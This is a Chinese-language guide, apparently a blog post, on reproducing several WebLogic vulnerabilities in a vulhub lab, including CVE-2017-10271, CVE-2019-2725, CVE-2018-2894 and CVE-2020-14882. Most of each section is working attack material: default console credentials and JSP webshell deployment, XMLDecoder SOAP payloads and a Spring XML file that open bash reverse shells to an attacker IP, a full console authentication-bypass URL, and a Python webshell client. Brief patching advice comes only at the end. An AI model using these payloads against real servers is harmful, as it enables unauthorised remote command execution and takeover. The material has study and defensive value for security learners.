weblogic漏洞大杂烩
字数 1685 2025-08-05 00:16:03
WebLogic漏洞分析与复现指南
1. WebLogic简介
WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。它是世界上第一个成功商业化的J2EE应用服务器,已推出到12c(12.2.1.4)版。
2. 环境搭建
2.1 基础环境准备
# 安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v # 查看是否安装成功
# 安装python和pip环境
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V # 查看是否安装成功
# 安装docker-compose
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
2.2 获取漏洞环境
git clone https://github.com/vulhub/vulhub.git
3. WebLogic漏洞分析与复现
3.1 弱口令漏洞
漏洞原理:在WebLogic搭建好后没有修改进入后台的密码导致弱口令登录获得webshell。
复现步骤:
- 访问
http://[目标IP]:7001/console - 使用默认凭证
weblogic/Oracle@123登录后台 - 点击"部署" → "安装" → "上传文件"
- 准备一个包含JSP木马的war包:
jar -cvf aaa.war . - 上传war包并完成部署
- 使用冰蝎连接:
http://[目标IP]:7001/aaa/shell.jsp
3.2 CVE-2017-3506 (XMLDecoder反序列化漏洞)
漏洞原理:在/wls-wsat/CoordinatorPortType处构造SOAP(XML)格式的请求,在解析过程中导致XMLDecoder反序列化漏洞。
复现步骤:
- 访问以下任意一个路径确认漏洞存在:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType - 构造恶意XML请求,在
<string></string>标签之间写入JSP木马路径和内容 - 使用冰蝎连接上传的shell
3.3 CVE-2017-10271 (XMLDecoder反序列化漏洞)
漏洞原理:CVE-2017-3506的补丁防护不足,导致可以使用void标签进行RCE。
复现步骤:
- 访问
http://[目标IP]:7001/wls-wsat/CoordinatorPortType - 构造恶意请求,使用bash命令反弹shell:
<binbash>-c</binbash> <string>bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1</string> - 在攻击机上使用nc监听相应端口
3.4 CVE-2019-2725 (wls-wsat反序列化漏洞)
漏洞原理:通过特定元素替换补丁限制的元素,绕过黑名单策略,造成远程命令执行。
复现步骤:
- 访问以下任意一个路径:
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps - 构造SOAP请求,使用ProcessBuilder执行命令:
<void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1</string></void> </array> <void method="start"/> </void> - 在攻击机上使用nc监听相应端口
3.5 CVE-2018-2628 (T3协议反序列化漏洞)
漏洞原理:WebLogic Server的T3通讯协议的实现中存在反序列化漏洞,利用RMI机制的缺陷通过JRMP协议执行任意反序列化代码。
复现步骤:
- 使用nmap扫描T3服务:
nmap -n -v -p 7001,7002 [目标IP] --script=weblogic-t3-info - 使用工具(如K8Weblogic.exe)上传shell
- 使用Python脚本获取交互式shell:
#!/usr/bin/env python # -*- coding: utf-8 -*- import base64 import requests def shell(url, cmd): all_url = url + "?tom=" + base64.b64encode(cmd) try: result = requests.get(all_url) if result.status_code == 200: print result.content except requests.ConnectionError, e: print e
3.6 CVE-2018-2894 (未授权访问漏洞)
漏洞原理:开发环境下存在两个未授权的页面(config.do和begin.do),可以上传任意文件。
复现步骤:
- 进入后台启用Web服务测试页
- 访问
config.do设置上传目录为ws_utc应用的静态文件css目录 - 上传JSP木马,通过时间戳构造访问URL
- 或者访问
begin.do上传JSP木马,通过F12获取上传路径
3.7 CVE-2020-14882 (控制台权限绕过漏洞)
漏洞原理:通过精心构造的URL绕过控制台认证。
复现步骤:
- 构造URL直接访问控制台:
http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 - 远程加载XML文件执行命令:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1]]></value> </list> </constructor-arg> </bean> </beans> - 通过漏洞触发XML加载:
http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://[攻击者IP]:8000/test.xml")
4. 总结
WebLogic存在多种类型的漏洞,包括:
- 弱口令漏洞
- XMLDecoder反序列化漏洞(CVE-2017-3506、CVE-2017-10271、CVE-2019-2725)
- T3协议反序列化漏洞(CVE-2018-2628)
- 未授权访问漏洞(CVE-2018-2894)
- 控制台权限绕过漏洞(CVE-2020-14882)
防护建议:
- 及时更新WebLogic到最新版本
- 修改默认密码为复杂密码
- 限制不必要的端口和协议访问
- 关闭不需要的服务和功能
- 部署Web应用防火墙(WAF)